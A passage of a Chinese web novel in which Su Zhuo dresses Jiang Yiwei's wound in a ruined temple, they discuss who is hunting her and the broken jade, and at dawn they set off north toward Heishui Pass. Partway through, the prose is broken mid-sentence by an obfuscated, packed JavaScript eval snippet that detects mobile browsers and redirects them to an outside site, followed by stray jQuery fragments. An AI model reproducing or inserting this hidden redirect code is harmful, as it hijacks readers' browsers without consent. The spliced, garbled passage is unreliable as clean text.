这时苏灼才缓缓的从供台下爬出来,伸手扶住他,掌心传来湿冷,他半边身子都被血浸透了。
“你……”她声音发颤,扶着他靠墙坐下。
庙外月色惨白,从破窗漏进来,勉强能视物。
苏灼摸索着解下自己腰间的水囊,里头还剩点水。她又从怀中摸出之前江一苇给的那个小布包,里面还有一点干净的布和药粉。
没有火,只能借着月光。
她先帮他处理伤口,割开黏连的血衣时,她的手在抖,伤口很深,皮肉翻卷,边缘已经有些发白,她用水小心冲洗,冰凉的液体混着血水流下来。
江一苇闭着眼,眉头紧锁,嘴唇抿紧,没发出一点声音。
撒药粉时,苏灼的手指无意间碰到他手臂的皮肤,冰冰凉凉的,失血过多的虚弱,她顿了顿,撕下自己里衣还算干净的一角,蘸了点水,轻轻擦拭他手臂上干涸的血迹。
动作很轻,很慢,这是她第一次,主动触碰他。
江一苇缓慢的睁开眼,月光下,他的眼神有些深,静静看着她。
苏灼垂下眼,继续手上的动作,语气一些沉重:“那些山匪……不是冲着我们来的?”
“不是。”江一苇开口,声音因失血而更哑,“碰巧撞上。”他的话顿了顿,“但疤脸男人那伙……还有后来的官兵,都是冲着我们来。”
苏灼系好布条,手却没立刻收回,仍虚虚按在他伤处上方,仿佛这样能止住血。
“疤脸男人……到底是谁的人?”
江一苇靠着墙,微微喘息。
“两种可能。陈平在京中经营多年,手下死士不少。萧执虽死但是余党未清,蛰伏各处,也有可能。”他目光看向她,“但无论哪一边,活捉你,都比杀了你有用。”
“为什么?”
“筹码。”江一苇缓缓道,“陈平若真想彻底掌权,甚至……更进一步,他需要名正言顺的理由。你是前朝皇后,又与陛下……”他没有继续说下去。
他的目光扫了一眼伤口,紧接着:“你若在他手中,他便多了一张牌。至于萧执余党,抓了你,既能报复,或许……也能用来要挟某些还念着旧情的人。”
苏灼沉默。她想起疤脸男人那句活的价钱比死的高三倍。原来她的命,在某些人眼里,是可以讨价还价的筹码。
她从怀中摸出那半块断玉。月光下,玉身泛着温润的光,血渍暗沉。
“那这个呢?”她低声问,“这玉……会是哪一边的?”
江一苇看着玉,看了很久。“我不知道,但这玉既然让陛下在那种时候交给你,必是极重要的东西。也许……是找到你父亲的关键,也许,是能解开某个死结的钥匙。”
苏灼握紧了玉。冰凉的触感从掌心一直透到心里。
父亲,萧寰,陈平,还有这玉背后未知的秘密,所有线都缠在一起,而线头,似乎都在北边。
“我们得去北边。”她抬起头,眼神在月光下清冽如刀,“不管前面有什么。”
江一苇看着她,忽然轻轻笑了笑,那笑容很淡,却似乎卸下了一直绷着的重担。
“好。”他只说了一个字。
庙外,风声渐歇。雪不知何时停了,月光照亮了荒野,一片死寂的银白。
远处官道上,再无声响。山匪逃了,官兵也过去了。
但这安静,反而更让人不安。
“外面需要在天亮前,离开这儿。”江一苇撑着墙试图起身,却闷哼一声,又跌坐回去。失血太多,他体力已到极限。
苏灼轻轻按住他肩膀:“你再歇会儿。我守着。”
江一苇还想说什么,但看着她不容置疑的眼神,只能点了点头,他靠着墙,闭上眼,呼吸渐渐平稳下来。
苏灼坐在他身侧,手里仍攥着那半块玉。她望向庙外无边的雪野,望向北方深沉的夜色。
前路未知,杀机四伏,但她的握玉的手,没有松开。
天蒙蒙亮的时候,江一苇缓缓醒了过来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160531|196593||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
破庙里渗进青灰色的光,照见四处蛛网和塌了一半的神像,他动了一下,左臂立刻传来尖锐的刺痛,低头看,布条上又洇出暗红的痕迹,但好在血是止住了。
苏灼靠在另一边墙角,闭着眼,呼吸轻浅,她手里还攥着那半块玉,指节因为用力而微微发白,即使在睡梦里也没松开。
江一苇静静看了她片刻,才从怀里摸出一卷用油布仔细包裹的地图。那地图很旧了,边缘磨损得厉害,上面用炭笔标着些曲折的线和地名,他的手指沿着一条线往北移,停在一处标注着黑水关的地方。
苏灼不知何时睁开了眼,正看着他手里的地图。
“黑水关,”江一苇没有抬头,手指在那点上轻轻敲了敲,“守将李询。他是你父亲当年一手提拔的门生,从马前卒一路做到参将,黑水关一役后,陛下将他留在北境镇守,整顿边军。”
苏灼撑着坐起身,肋下的伤口让她动作滞了滞。她挪近些,看向地图上那个不起眼的墨点。
“李询……”她低声重复这个名字,有些模糊的印象,“我记得他。父亲曾说他勇武有余,但性子太直,容易得罪人。”
“正因如此,他才可能知道些别人不知道的事。”江一苇卷起地图,声音很稳,“你父亲出事时,李询正在北疆巡防。事后他数次上书为你父亲陈情,都被压下了。陛下将他留在北境,明面上是贬斥,但未尝不是……一种保护。”
保护?苏灼想起萧寰最后那个眼神,想起他递出断玉时近乎绝望的托付。
如果李询真是可信之人,那萧寰是否也是为了将她送到能护住她,又能追查真相的人手里?
庙外传来风声,卷着残雪打在破窗上,噗簌簌的响。天光又亮了些,能看见远处荒原的轮廓。
“该走了。”江一苇试着起身,这次稳住了。他伸手拉起苏灼,两人互相搀扶着走出破庙。
马还在庙后啃着枯草,见他们来,打了个响鼻。两人上马,继续往北。